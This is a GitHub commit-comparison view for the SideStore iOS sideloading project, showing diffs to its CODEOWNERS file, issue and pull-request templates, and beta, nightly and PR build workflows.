Compare commits
212 Commits
auto-updat
...
junepark67
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f013e956b3 | ||
|
|
0e9deea7a6 | ||
|
|
42ecd38517 | ||
|
|
9f7d4dee49 | ||
|
|
458b8e491e | ||
|
|
495e621e69 | ||
|
|
c986512b5f | ||
|
|
d277754ae5 | ||
|
|
2ef2e2f26b | ||
|
|
23a53034fa | ||
|
|
ce57d72a78 | ||
|
|
502b89d890 | ||
|
|
5f0015fad0 | ||
|
|
c81236957b | ||
|
|
970ab38b27 | ||
|
|
8a5c31b81d | ||
|
|
8508fe79b5 | ||
|
|
3859e98801 | ||
|
|
a759c7be9e | ||
|
|
12fc6cf6e2 | ||
|
|
580db6530e | ||
|
|
9c67c237ee | ||
|
|
357d85a72e | ||
|
|
88ad828ce0 | ||
|
|
a95625a34a | ||
|
|
95e00d81f5 | ||
|
|
c2e386a5c5 | ||
|
|
a76aade4ff | ||
|
|
65c9986103 | ||
|
|
9e2b9b6639 | ||
|
|
cf373634d7 | ||
|
|
b3d5d976b4 | ||
|
|
c3c31995ce | ||
|
|
7e92e17429 | ||
|
|
88ab8fa8d7 | ||
|
|
ebe78932bf | ||
|
|
2e613e6d15 | ||
|
|
35ee92db12 | ||
|
|
04d9f760ad | ||
|
|
4f52743be8 | ||
|
|
32cae7a5b2 | ||
|
|
c2c0e3b790 | ||
|
|
6d36a30787 | ||
|
|
48a86ec6de | ||
|
|
5cff914ff3 | ||
|
|
70ea725ce3 | ||
|
|
78f12e45f9 | ||
|
|
e5061acc20 | ||
|
|
2d7bc51d30 | ||
|
|
9128b67ee8 | ||
|
|
551c004476 | ||
|
|
ed6a8d1379 | ||
|
|
766fb89e0b | ||
|
|
c5b8cb4459 | ||
|
|
0deae92829 | ||
|
|
cc5d2f1813 | ||
|
|
41151d0d49 | ||
|
|
52702264a3 | ||
|
|
6e297e1278 | ||
|
|
e3bb9b425f | ||
|
|
79255be79c | ||
|
|
7c836f5ba1 | ||
|
|
938bcd14ad | ||
|
|
229d79fc05 | ||
|
|
2d3dac2e1d | ||
|
|
e23f5e7894 | ||
|
|
571d27c814 | ||
|
|
dde6bd4fe3 | ||
|
|
6e6dbd9329 | ||
|
|
258268f5ef | ||
|
|
9ae49977fb | ||
|
|
d61c54fa60 | ||
|
|
980699af6f | ||
|
|
cc5c280882 | ||
|
|
090456bba1 | ||
|
|
5354d4eb76 | ||
|
|
b986fae611 | ||
|
|
cfcfc3e928 | ||
|
|
f97548fc3a | ||
|
|
36913b425c | ||
|
|
822ea08d89 | ||
|
|
98dd6f3fe7 | ||
|
|
b3f0dbb155 | ||
|
|
6904d931c3 | ||
|
|
529466a9f7 | ||
|
|
77dc695ba1 | ||
|
|
e17776f651 | ||
|
|
0d2f355a74 | ||
|
|
2ce1576016 | ||
|
|
0f3be3c494 | ||
|
|
8c1ca8503a | ||
|
|
32a59c17f4 | ||
|
|
b4b4ceab0b | ||
|
|
be1f27bb9e | ||
|
|
ed10ddb1cb | ||
|
|
dbdb4b0f32 | ||
|
|
59e537362e | ||
|
|
6d96bf414f | ||
|
|
e7ba778a5f | ||
|
|
933d349cd5 | ||
|
|
3de24dcfce | ||
|
|
3275d16b8b | ||
|
|
5bb4cd1dad | ||
|
|
16b14441fa | ||
|
|
93a6272d30 | ||
|
|
0dc526f778 | ||
|
|
183e185812 | ||
|
|
e02453598c | ||
|
|
24af1b5b5f | ||
|
|
5864c283f6 | ||
|
|
be78fa4b91 | ||
|
|
b3abf69a02 | ||
|
|
c530dc11ae | ||
|
|
d368ddbd11 | ||
|
|
e5c6521a15 | ||
|
|
898a59768e | ||
|
|
a85bc93142 | ||
|
|
c6c1f9faa0 | ||
|
|
0eea19c9cc | ||
|
|
ed2270ff46 | ||
|
|
45b6c3b338 | ||
|
|
84e2284f56 | ||
|
|
1c0d0be622 | ||
|
|
a9ce0f487d | ||
|
|
07533e0365 | ||
|
|
ee5ddd4264 | ||
|
|
f519d22d81 | ||
|
|
51ed87086a | ||
|
|
1ca3aa3cdb | ||
|
|
0178c63f6a | ||
|
|
8a97c409fa | ||
|
|
3dd0735305 | ||
|
|
536f775baa | ||
|
|
00f7a684a3 | ||
|
|
d79b166a6a | ||
|
|
b3d827f56a | ||
|
|
40bcef1dcb | ||
|
|
6146f1bdaa | ||
|
|
f5d82d9ef0 | ||
|
|
b2a29ae606 | ||
|
|
98ccba53a2 | ||
|
|
9bfda36647 | ||
|
|
5710cdf19c | ||
|
|
20cf54bfcd | ||
|
|
2ce639e750 | ||
|
|
b1ed413c4f | ||
|
|
b8c3060037 | ||
|
|
c3ea4940d7 | ||
|
|
40e1225b87 | ||
|
|
0c171122b2 | ||
|
|
6d0f4bb3da | ||
|
|
5e2cc6e20c | ||
|
|
99cb43bbea | ||
|
|
ca7d8277f7 | ||
|
|
337d26333e | ||
|
|
ebb64d255b | ||
|
|
7dcb199f68 | ||
|
|
4334e887de | ||
|
|
4e84dc4cc8 | ||
|
|
1a1ed072bf | ||
|
|
ae457f07c4 | ||
|
|
00095942c3 | ||
|
|
d1caa5fc21 | ||
|
|
813e2f97ac | ||
|
|
bcb5a90f5e | ||
|
|
020a1a3149 | ||
|
|
c4d649ec58 | ||
|
|
c02cf2c284 | ||
|
|
c30afd042e | ||
|
|
17640fe6cf | ||
|
|
2e4f6ee420 | ||
|
|
a3768d9221 | ||
|
|
80c3390363 | ||
|
|
a5e3869d8f | ||
|
|
aa7d7c2d02 | ||
|
|
015f205569 | ||
|
|
e59fb15926 | ||
|
|
173c585f2d | ||
|
|
6f8c27793e | ||
|
|
332b81c803 | ||
|
|
4b343b500d | ||
|
|
e87c537642 | ||
|
|
2e6300cce2 | ||
|
|
09514d15a6 | ||
|
|
0de23dcba0 | ||
|
|
bacb153151 | ||
|
|
a01aa299d8 | ||
|
|
44edbddbd8 | ||
|
|
79d677cf3c | ||
|
|
be39b6512f | ||
|
|
fcfeea35da | ||
|
|
7d0eb8c61e | ||
|
|
4d8438a6b6 | ||
|
|
f611244e35 | ||
|
|
546a978d3b | ||
|
|
70b23fb073 | ||
|
|
a56ca597d6 | ||
|
|
679e0228a8 | ||
|
|
e153394323 | ||
|
|
5bd1fcfcfd | ||
|
|
2a392ddc44 | ||
|
|
b5cb8bc0d9 | ||
|
|
ab9df8201a | ||
|
|
b0fac34ffc | ||
|
|
5ede9f7c6b | ||
|
|
c7254fd23e | ||
|
|
55fcea04af | ||
|
|
c212c0a6b2 | ||
|
|
a31fd6709a | ||
|
|
e367fd2b73 | ||
|
|
1ca67d0241 | ||
|
|
8ffa952ff9 |
2
.github/CODEOWNERS
vendored
@@ -1 +1 @@
|
||||
* @JoeMatt @lonkelle
|
||||
* @JoeMatt @lonkelle @nythepegasus @Spidy123222 @SternXD
|
||||
|
||||
34
.github/ISSUE_TEMPLATE/bug_report.md
vendored
@@ -1,34 +0,0 @@
|
||||
---
|
||||
name: Bug report
|
||||
about: Create a report to help us improve
|
||||
title: "[BUG]"
|
||||
labels: bug
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
**Describe the bug**
|
||||
A clear and concise description of what the bug is.
|
||||
|
||||
**To Reproduce**
|
||||
Steps to reproduce the behavior:
|
||||
1. Go to '...'
|
||||
2. Click on '....'
|
||||
3. Scroll down to '....'
|
||||
4. See error
|
||||
|
||||
**Expected behavior**
|
||||
A clear and concise description of what you expected to happen.
|
||||
|
||||
**Screenshots**
|
||||
If applicable, add screenshots to help explain your problem.
|
||||
|
||||
**Logs**
|
||||
Please send logs generated with [idevicedebug](https://github.com/libimobiledevice/libimobiledevice) or Xcode. We will close the issue if a log is missing.
|
||||
|
||||
**iDevice (please complete the following information):**
|
||||
- Device: [e.g. iPhone6]
|
||||
- OS: [e.g. iOS8.1]
|
||||
|
||||
**Additional context**
|
||||
Add any other context about the problem here.
|
||||
40
.github/ISSUE_TEMPLATE/bug_report.yml
vendored
Normal file
@@ -0,0 +1,40 @@
|
||||
name: Bug Report
|
||||
description: Report a bug
|
||||
title: "[BUG] "
|
||||
labels: ["bug"]
|
||||
assignees:
|
||||
- naturecodevoid
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
Thanks for taking the time to fill out this bug report! Before you continue filling out the report, please **[search in GitHub Issues](https://github.com/SideStore/SideStore/issues?q=is%3Aissue+is%3Aopen) for the bug you are experiencing** in case it has already been reported.
|
||||
|
||||
**Please use [Discord](https://discord.gg/sidestore-949183273383395328) or [GitHub Discussions](https://github.com/SideStore/SideStore/discussions) for support.**
|
||||
- type: textarea
|
||||
id: description
|
||||
attributes:
|
||||
label: Describe the bug
|
||||
description: What is the bug and how did you discover it?
|
||||
placeholder: Please be clear and concise with your description.
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
id: how-to-reproduce
|
||||
attributes:
|
||||
label: Instructions to reproduce
|
||||
description: Please include clear and consistent instructions for reproducing the bug to make it easier for us to fix it.
|
||||
validations:
|
||||
required: true
|
||||
- type: input
|
||||
id: app-version
|
||||
attributes:
|
||||
label: What version of SideStore are you using?
|
||||
description: To retrieve this, go to `Settings` in the SideStore app and scroll down to the bottom.
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
id: other-info
|
||||
attributes:
|
||||
label: Other info
|
||||
description: If you have any other comments, other info that might be useful, or if you found a workaround, please put it here.
|
||||
10
.github/ISSUE_TEMPLATE/config.yml
vendored
Normal file
@@ -0,0 +1,10 @@
|
||||
# force issue template usage
|
||||
blank_issues_enabled: false
|
||||
|
||||
contact_links:
|
||||
- name: Discord
|
||||
url: https://discord.gg/sidestore-949183273383395328
|
||||
about: If you need support, please go here first instead of making an issue!
|
||||
- name: GitHub Discussions
|
||||
url: https://github.com/SideStore/SideStore/discussions
|
||||
about: As an alternative to Discord, you can also make a new GitHub discussion.
|
||||
33
.github/ISSUE_TEMPLATE/feature_request.yml
vendored
Normal file
@@ -0,0 +1,33 @@
|
||||
name: Feature Request
|
||||
description: Suggest a feature
|
||||
title: "[FEATURE REQUEST] "
|
||||
labels: ["enhancement"]
|
||||
assignees:
|
||||
- naturecodevoid
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
Thanks for taking the time to fill out this feature request! Before you continue filling out the form, please **[search in GitHub Issues](https://github.com/SideStore/SideStore/issues?q=is%3Aissue+is%3Aopen) for the feature you are suggestion** in case it has already been suggested.
|
||||
|
||||
**Please use [Discord](https://discord.gg/sidestore-949183273383395328) or [GitHub Discussions](https://github.com/SideStore/SideStore/discussions) for support.**
|
||||
- type: textarea
|
||||
id: description
|
||||
attributes:
|
||||
label: Describe the feature
|
||||
description: What is the feature? How would it work?
|
||||
placeholder: Please be clear and concise with your description.
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
id: use-cases
|
||||
attributes:
|
||||
label: Use cases
|
||||
description: Please include multiple use cases where this feature would be useful.
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
id: alternatives
|
||||
attributes:
|
||||
label: Alternatives
|
||||
description: If you have alternative ideas of how this feature could work, you can put them here.
|
||||
15
.github/pull_request_template.md
vendored
Normal file
@@ -0,0 +1,15 @@
|
||||
### Changes
|
||||
|
||||
<!-- Fill this list with what your PR changes. Example: -->
|
||||
- Fix bug
|
||||
- Change UI for QOL
|
||||
|
||||
<!-- If your PR is ready to be merged, you can remove this section. -->
|
||||
### Todo before merge
|
||||
|
||||
<!-- Example: -->
|
||||
- [x] Finish UI changes
|
||||
- [ ] Test
|
||||
|
||||
<!-- If your PR doesn't close an issue, you can remove the next line. -->
|
||||
Closes #1234
|
||||
134
.github/workflows/beta.yml
vendored
@@ -1,16 +1,12 @@
|
||||
name: Beta SideStore build
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- develop
|
||||
tags:
|
||||
- '[0-9]+.[0-9]+.[0-9]+-beta.[0-9]+' # example: 1.0.0-beta.1
|
||||
|
||||
jobs:
|
||||
build:
|
||||
name: Build and upload SideStore Beta
|
||||
if: startsWith(github.event.head_commit.message, '[beta]')
|
||||
concurrency:
|
||||
group: ${{ github.ref }}
|
||||
cancel-in-progress: true
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
@@ -25,63 +21,18 @@ jobs:
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
# - name: Cache rust cargo
|
||||
# id: cache-rust-cargo
|
||||
# uses: actions/cache@v3
|
||||
# env:
|
||||
# cache-name: cache-rust-cargo
|
||||
# with:
|
||||
# path: ~/.cargo
|
||||
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
|
||||
# restore-keys: |
|
||||
# ${{ runner.os }}-build-${{ env.cache-name }}-
|
||||
# ${{ runner.os }}-build-
|
||||
# ${{ runner.os }}-
|
||||
|
||||
# - name: Cache rust minimuxer
|
||||
# id: cache-rust-minimuxer
|
||||
# uses: actions/cache@v3
|
||||
# env:
|
||||
# cache-name: cache-rust-minimuxer
|
||||
# with:
|
||||
# path: ./Dependencies/minimuxer/target
|
||||
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
|
||||
# restore-keys: |
|
||||
# ${{ runner.os }}-build-${{ env.cache-name }}-
|
||||
# ${{ runner.os }}-build-
|
||||
# ${{ runner.os }}-
|
||||
|
||||
# - name: Cache rust em_proxy
|
||||
# id: cache-rust-em_proxy
|
||||
# uses: actions/cache@v3
|
||||
# env:
|
||||
# cache-name: cache-rust-em_proxy
|
||||
# with:
|
||||
# path: ./Dependencies/em_proxy/target
|
||||
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
|
||||
# restore-keys: |
|
||||
# ${{ runner.os }}-build-${{ env.cache-name }}-
|
||||
# ${{ runner.os }}-build-
|
||||
# ${{ runner.os }}-
|
||||
|
||||
- name: Install dependencies
|
||||
run: brew install ldid
|
||||
|
||||
- name: Install rustup
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
target: aarch64-apple-ios
|
||||
- name: Change version to tag
|
||||
run: sed -e '/MARKETING_VERSION = .*/s/= .*/= ${{ github.ref_name }}/' -i '' Build.xcconfig
|
||||
|
||||
# - name: Create emotional damage
|
||||
# run: cd Dependencies/em_proxy && cargo build --release --target aarch64-apple-ios
|
||||
- name: Get version
|
||||
id: version
|
||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||
|
||||
# - name: Build minimuxer
|
||||
# run: cd Dependencies/minimuxer && cargo build --release --target aarch64-apple-ios
|
||||
|
||||
- name: Add beta suffix to version
|
||||
run: sed -e '/MARKETING_VERSION = .*/s/$/-beta.${{ github.run_number }}/' -i '' Build.xcconfig
|
||||
- name: Echo version
|
||||
run: echo "${{ steps.version.outputs.version }}"
|
||||
|
||||
- name: Setup Xcode
|
||||
uses: maxim-lobanov/setup-xcode@v1.4.1
|
||||
@@ -89,39 +40,13 @@ jobs:
|
||||
xcode-version: ${{ matrix.version }}
|
||||
|
||||
- name: Build SideStore
|
||||
run: |
|
||||
xcodebuild -project AltStore.xcodeproj \
|
||||
-scheme AltStore \
|
||||
-sdk iphoneos \
|
||||
archive -archivePath ./archive \
|
||||
CODE_SIGNING_REQUIRED=NO \
|
||||
AD_HOC_CODE_SIGNING_ALLOWED=YES \
|
||||
CODE_SIGNING_ALLOWED=NO \
|
||||
DEVELOPMENT_TEAM=XYZ0123456 \
|
||||
ORG_IDENTIFIER=com.SideStore \
|
||||
| xcpretty && exit ${PIPESTATUS[0]}
|
||||
run: make build | xcpretty && exit ${PIPESTATUS[0]}
|
||||
|
||||
- name: Fakesign app
|
||||
run: |
|
||||
rm -rf archive.xcarchive/Products/Applications/SideStore.app/Frameworks/AltStoreCore.framework/Frameworks/
|
||||
ldid -SAltStore/Resources/tempEnt.plist archive.xcarchive/Products/Applications/SideStore.app/SideStore
|
||||
run: make fakesign
|
||||
|
||||
- name: Convert to IPA
|
||||
run: |
|
||||
mkdir Payload
|
||||
mkdir Payload/SideStore.app
|
||||
cp -R archive.xcarchive/Products/Applications/SideStore.app/ Payload/SideStore.app/
|
||||
zip -r SideStore.ipa Payload
|
||||
|
||||
- name: Upload Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore.ipa
|
||||
path: SideStore.ipa
|
||||
|
||||
- name: Get version
|
||||
id: version
|
||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||
run: make ipa
|
||||
|
||||
- name: Get current date
|
||||
id: date
|
||||
@@ -131,22 +56,22 @@ jobs:
|
||||
id: date_altstore
|
||||
run: echo "date=$(date -u +'%Y-%m-%d')" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Upload to beta release
|
||||
uses: IsaacShelton/update-existing-release@v1.3.1
|
||||
- name: Upload to new beta release
|
||||
uses: softprops/action-gh-release@v1
|
||||
with:
|
||||
token: ${{ secrets.GITHUB_TOKEN }}
|
||||
release: "Beta"
|
||||
tag: "beta"
|
||||
name: ${{ steps.version.outputs.version }}
|
||||
tag_name: ${{ github.ref_name }}
|
||||
draft: true
|
||||
prerelease: true
|
||||
files: SideStore.ipa
|
||||
body: |
|
||||
This is an ⚠️ **EXPERIMENTAL** ⚠️ beta build for commit [${{ github.sha }}](https://github.com/${{ github.repository }}/commit/${{ github.sha }}).
|
||||
<!-- NOTE: to reset SideSource cache, go to `https://apps.sidestore.io/reset-cache/nightly/<sidesource key>`. This is not included in the GitHub Action since it makes draft releases so they can be edited and have a changelog. -->
|
||||
Beta builds are hand-picked builds from development commits that will allow you to try out new features earlier than normal. However, **they might contain bugs and other issues. Use at your own risk!**
|
||||
|
||||
## Changelog
|
||||
|
||||
Beta builds are hand-picked builds from development commits that will allow you to try out new features earlier than normal, but with a lower chance of bugs than if you used nightly builds. However, since these changes are newer and less tested, they still have a good chance of bugs, so **use at your own risk**.
|
||||
|
||||
If you want to be on the bleeding edge and use the latest development builds, you can look at [SideStore Nightly](https://github.com/${{ github.repository }}/releases/tag/nightly). **Please be aware that these builds have a much higher chance of bugs than beta or stable**.
|
||||
|
||||
If you use the `SideStore (Beta)` app, it will use the latest beta build (make sure to update it in "My Apps").
|
||||
- TODO
|
||||
|
||||
## Build Info
|
||||
|
||||
@@ -154,3 +79,18 @@ jobs:
|
||||
Built at (UTC date): `${{ steps.date_altstore.outputs.date }}`
|
||||
Commit SHA: `${{ github.sha }}`
|
||||
Version: `${{ steps.version.outputs.version }}`
|
||||
|
||||
- name: Add version to IPA file name
|
||||
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload SideStore.ipa Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
path: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload *.dSYM Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}-dSYM
|
||||
path: ./*.dSYM/
|
||||
|
||||
28
.github/workflows/increase-nightly-build-num.sh
vendored
Normal file
@@ -0,0 +1,28 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
# Ensure we are in root directory
|
||||
cd "$(dirname "$0")/../.."
|
||||
|
||||
DATE=`date -u +'%Y.%m.%d'`
|
||||
BUILD_NUM=1
|
||||
|
||||
write() {
|
||||
sed -e "/MARKETING_VERSION = .*/s/$/-nightly.$DATE.$BUILD_NUM+$(git rev-parse --short HEAD)/" -i '' Build.xcconfig
|
||||
echo "$DATE,$BUILD_NUM" > .nightly-build-num
|
||||
}
|
||||
|
||||
if [ ! -f ".nightly-build-num" ]; then
|
||||
write
|
||||
exit 0
|
||||
fi
|
||||
|
||||
LAST_DATE=`cat .nightly-build-num | perl -n -e '/([^,]*),([^ ]*)$/ && print $1'`
|
||||
LAST_BUILD_NUM=`cat .nightly-build-num | perl -n -e '/([^,]*),([^ ]*)$/ && print $2'`
|
||||
|
||||
if [[ "$DATE" != "$LAST_DATE" ]]; then
|
||||
write
|
||||
else
|
||||
BUILD_NUM=`expr $LAST_BUILD_NUM + 1`
|
||||
write
|
||||
fi
|
||||
|
||||
117
.github/workflows/nightly.yml
vendored
@@ -24,63 +24,24 @@ jobs:
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
# - name: Cache rust cargo
|
||||
# id: cache-rust-cargo
|
||||
# uses: actions/cache@v3
|
||||
# env:
|
||||
# cache-name: cache-rust-cargo
|
||||
# with:
|
||||
# path: ~/.cargo
|
||||
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
|
||||
# restore-keys: |
|
||||
# ${{ runner.os }}-build-${{ env.cache-name }}-
|
||||
# ${{ runner.os }}-build-
|
||||
# ${{ runner.os }}-
|
||||
|
||||
# - name: Cache rust minimuxer
|
||||
# id: cache-rust-minimuxer
|
||||
# uses: actions/cache@v3
|
||||
# env:
|
||||
# cache-name: cache-rust-minimuxer
|
||||
# with:
|
||||
# path: ./Dependencies/minimuxer/target
|
||||
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
|
||||
# restore-keys: |
|
||||
# ${{ runner.os }}-build-${{ env.cache-name }}-
|
||||
# ${{ runner.os }}-build-
|
||||
# ${{ runner.os }}-
|
||||
|
||||
# - name: Cache rust em_proxy
|
||||
# id: cache-rust-em_proxy
|
||||
# uses: actions/cache@v3
|
||||
# env:
|
||||
# cache-name: cache-rust-em_proxy
|
||||
# with:
|
||||
# path: ./Dependencies/em_proxy/target
|
||||
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
|
||||
# restore-keys: |
|
||||
# ${{ runner.os }}-build-${{ env.cache-name }}-
|
||||
# ${{ runner.os }}-build-
|
||||
# ${{ runner.os }}-
|
||||
|
||||
- name: Install dependencies
|
||||
run: brew install ldid
|
||||
|
||||
- name: Install rustup
|
||||
uses: actions-rs/toolchain@v1
|
||||
- name: Cache .nightly-build-num
|
||||
uses: actions/cache@v3
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
target: aarch64-apple-ios
|
||||
path: .nightly-build-num
|
||||
key: nightly-build-num
|
||||
|
||||
# - name: Create emotional damage
|
||||
# run: cd Dependencies/em_proxy && cargo build --release --target aarch64-apple-ios
|
||||
- name: Increase nightly build number and set as version
|
||||
run: bash .github/workflows/increase-nightly-build-num.sh
|
||||
|
||||
# - name: Build minimuxer
|
||||
# run: cd Dependencies/minimuxer && cargo build --release --target aarch64-apple-ios
|
||||
- name: Get version
|
||||
id: version
|
||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Add nightly suffix to version
|
||||
run: sed -e '/MARKETING_VERSION = .*/s/$/-nightly.${{ github.run_number }}/' -i '' Build.xcconfig
|
||||
- name: Echo version
|
||||
run: echo "${{ steps.version.outputs.version }}"
|
||||
|
||||
- name: Setup Xcode
|
||||
uses: maxim-lobanov/setup-xcode@v1.4.1
|
||||
@@ -88,39 +49,13 @@ jobs:
|
||||
xcode-version: ${{ matrix.version }}
|
||||
|
||||
- name: Build SideStore
|
||||
run: |
|
||||
xcodebuild -project AltStore.xcodeproj \
|
||||
-scheme AltStore \
|
||||
-sdk iphoneos \
|
||||
archive -archivePath ./archive \
|
||||
CODE_SIGNING_REQUIRED=NO \
|
||||
AD_HOC_CODE_SIGNING_ALLOWED=YES \
|
||||
CODE_SIGNING_ALLOWED=NO \
|
||||
DEVELOPMENT_TEAM=XYZ0123456 \
|
||||
ORG_IDENTIFIER=com.SideStore \
|
||||
| xcpretty && exit ${PIPESTATUS[0]}
|
||||
run: make build | xcpretty && exit ${PIPESTATUS[0]}
|
||||
|
||||
- name: Fakesign app
|
||||
run: |
|
||||
rm -rf archive.xcarchive/Products/Applications/SideStore.app/Frameworks/AltStoreCore.framework/Frameworks/
|
||||
ldid -SAltStore/Resources/tempEnt.plist archive.xcarchive/Products/Applications/SideStore.app/SideStore
|
||||
run: make fakesign
|
||||
|
||||
- name: Convert to IPA
|
||||
run: |
|
||||
mkdir Payload
|
||||
mkdir Payload/SideStore.app
|
||||
cp -R archive.xcarchive/Products/Applications/SideStore.app/ Payload/SideStore.app/
|
||||
zip -r SideStore.ipa Payload
|
||||
|
||||
- name: Upload Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore.ipa
|
||||
path: SideStore.ipa
|
||||
|
||||
- name: Get version
|
||||
id: version
|
||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||
run: make ipa
|
||||
|
||||
- name: Get current date
|
||||
id: date
|
||||
@@ -141,11 +76,9 @@ jobs:
|
||||
body: |
|
||||
This is an ⚠️ **EXPERIMENTAL** ⚠️ nightly build for commit [${{ github.sha }}](https://github.com/${{ github.repository }}/commit/${{ github.sha }}).
|
||||
|
||||
Nightly builds are built from the most recent commit which means you'll be able to try out new features very early. However, since these changes are much newer and less tested, they have a much higher chance of bugs, so **use at your own risk**.
|
||||
Nightly builds are **extremely experimental builds only meant to be used by developers and alpha testers. They often contain bugs and experimental features. Use at your own risk!**
|
||||
|
||||
If you want to try out new features early but want a lower chance of bugs, you can look at [SideStore Beta](https://github.com/${{ github.repository }}/releases/tag/beta).
|
||||
|
||||
If you use the `SideStore (Nightly)` app, it will use the latest nightly build (make sure to update it in "My Apps").
|
||||
If you want to try out new features early but want a lower chance of bugs, you can look at [SideStore Beta](https://github.com/${{ github.repository }}/releases?q=beta).
|
||||
|
||||
## Build Info
|
||||
|
||||
@@ -153,3 +86,21 @@ jobs:
|
||||
Built at (UTC date): `${{ steps.date_altstore.outputs.date }}`
|
||||
Commit SHA: `${{ github.sha }}`
|
||||
Version: `${{ steps.version.outputs.version }}`
|
||||
|
||||
- name: Add version to IPA file name
|
||||
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload SideStore.ipa Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
path: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload *.dSYM Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}-dSYM
|
||||
path: ./*.dSYM/
|
||||
|
||||
- name: Reset cache for apps.sidestore.io/nightly
|
||||
run: sleep 10 && curl https://apps.sidestore.io/reset-cache/nightly/${{ secrets.SIDESOURCE_KEY }}
|
||||
|
||||
95
.github/workflows/pr.yml
vendored
@@ -19,60 +19,20 @@ jobs:
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
# - name: Cache rust cargo
|
||||
# id: cache-rust-cargo
|
||||
# uses: actions/cache@v3
|
||||
# env:
|
||||
# cache-name: cache-rust-cargo
|
||||
# with:
|
||||
# path: ~/.cargo
|
||||
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
|
||||
# restore-keys: |
|
||||
# ${{ runner.os }}-build-${{ env.cache-name }}-
|
||||
# ${{ runner.os }}-build-
|
||||
# ${{ runner.os }}-
|
||||
|
||||
# - name: Cache rust minimuxer
|
||||
# id: cache-rust-minimuxer
|
||||
# uses: actions/cache@v3
|
||||
# env:
|
||||
# cache-name: cache-rust-minimuxer
|
||||
# with:
|
||||
# path: ./Dependencies/minimuxer/target
|
||||
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
|
||||
# restore-keys: |
|
||||
# ${{ runner.os }}-build-${{ env.cache-name }}-
|
||||
# ${{ runner.os }}-build-
|
||||
# ${{ runner.os }}-
|
||||
|
||||
# - name: Cache rust em_proxy
|
||||
# id: cache-rust-em_proxy
|
||||
# uses: actions/cache@v3
|
||||
# env:
|
||||
# cache-name: cache-rust-em_proxy
|
||||
# with:
|
||||
# path: ./Dependencies/em_proxy/target
|
||||
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
|
||||
# restore-keys: |
|
||||
# ${{ runner.os }}-build-${{ env.cache-name }}-
|
||||
# ${{ runner.os }}-build-
|
||||
# ${{ runner.os }}-
|
||||
|
||||
- name: Install dependencies
|
||||
run: brew install ldid
|
||||
|
||||
- name: Install rustup
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
target: aarch64-apple-ios
|
||||
- name: Add PR suffix to version
|
||||
run: sed -e "/MARKETING_VERSION = .*/s/\$/-pr.${{ github.event.pull_request.number }}+$(git rev-parse --short ${COMMIT:-HEAD})/" -i '' Build.xcconfig
|
||||
env:
|
||||
COMMIT: ${{ github.event.pull_request.head.sha }}
|
||||
|
||||
# - name: Create emotional damage
|
||||
# run: cd Dependencies/em_proxy && cargo build --release --target aarch64-apple-ios
|
||||
- name: Get version
|
||||
id: version
|
||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||
|
||||
# - name: Build minimuxer
|
||||
# run: cd Dependencies/minimuxer && cargo build --release --target aarch64-apple-ios
|
||||
